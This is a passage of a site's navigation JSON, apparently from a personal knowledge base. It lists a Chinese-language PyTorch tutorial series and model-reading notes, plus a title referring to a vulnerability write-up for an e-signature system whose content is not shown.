u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","unlisted":false}]}]},{"type":"category","label":"AI","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"PyTorch","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u7b2c\u96f6\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","label":"0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","label":"0.2 \u8bc4\u4ef7\u6307\u6807.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","label":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","label":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/"},{"type":"category","label":"\u7b2c\u4e00\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","label":"1.1 PyTorch\u7b80\u4ecb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","label":"1.2 PyTorch\u7684\u5b89\u88c5.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.2 PyTorch\u7684\u5b89\u88c5","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","label":"1.3 PyTorch\u76f8\u5173\u8d44\u6e90.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.3 PyTorch\u76f8\u5173\u8d44\u6e90","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/"},{"type":"category","label":"\u7b2c\u4e8c\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","label":"2.1 \u5f20\u91cf.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","label":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","label":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","label":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/"},{"type":"category","label":"\u7b2c\u4e09\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","label":"3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.1 \u601d\u8003\uff1a\u5b8c\u6210\u6df1\u5ea6\u5b66\u4e60\u7684\u5fc5\u8981\u90e8\u5206","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","label":"3.2 \u57fa\u672c\u914d\u7f6e.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.2 \u57fa\u672c\u914d\u7f6e","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","label":"3.3 \u6570\u636e\u8bfb\u5165.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","label":"3.4 \u6a21\u578b\u6784\u5efa.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","label":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","label":"3.6 \u635f\u5931\u51fd\u6570.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.6 \u635f\u5931\u51fd\u6570","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","label":"3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.7 \u8bad\u7ec3\u4e0e\u8bc4\u4f30","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","label":"3.8 \u53ef\u89c6\u5316.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.8 \u53ef\u89c6\u5316","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","label":"3.9 \u4f18\u5316\u5668.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/"},{"type":"category","label":"\u7b2c\u56db\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","label":"4.1 ResNet.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","label":"4.2 GoogleNet.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","label":"4.3 DenseNet.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","label":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/"},{"type":"category","label":"\u7b2c\u4e94\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","label":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","label":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","label":"5.3 PyTorch\u4fee\u6539\u6a21\u578b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","label":"5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/"},{"type":"category","label":"\u7b2c\u516d\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","label":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","label":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","label":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","label":"6.3 \u6a21\u578b\u5fae\u8c03-torchvision.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","label":"6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","label":"6.5 \u6570\u636e\u589e\u5f3a-imgaug.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","label":"6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/"},{"type":"category","label":"\u7b2c\u4e03\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","label":"7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.1 \u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","label":"7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.2 CNN\u5377\u79ef\u5c42\u53ef\u89c6\u5316","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","label":"7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","label":"7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.4 \u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","label":"7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/7.5 \u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e03\u7ae0/"},{"type":"category","label":"\u7b2c\u516b\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","label":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","label":"8.2 \u56fe\u50cf - torchvision.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","label":"8.3 \u89c6\u9891 - PyTorchVideo.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.3 \u89c6\u9891 - PyTorchVideo","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","label":"8.4 \u6587\u672c - torchtext.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.4 \u6587\u672c - torchtext","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","label":"8.5 \u97f3\u9891 - torchaudio.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.5 \u97f3\u9891 - torchaudio","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/"},{"type":"category","label":"\u7b2c\u4e5d\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","label":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/"},{"type":"category","label":"\u7b2c\u5341\u7ae0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","label":"10.1 \u56fe\u50cf\u5206\u7c7b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","label":"10.2 \u76ee\u6807\u68c0\u6d4b.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","label":"10.3 \u56fe\u50cf\u5206\u5272.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","label":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","label":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","label":"ResNet\u6e90\u7801\u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","label":"Swin-Transformer\u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","label":"Transformer \u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","label":"ViT\u89e3\u8bfb.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb","unlisted":false},{"type":"category","label":"YOLO\u7cfb\u5217\u89e3\u8bfb","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"MMYOLO\u5b9e\u73b0","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","label":"model_design.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","label":"rtmdet_description.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description","unlisted":false},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","label":"yolov5_description.md","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/yolov5_description","unlisted":false}],"href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/"},{"type":"link","href":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c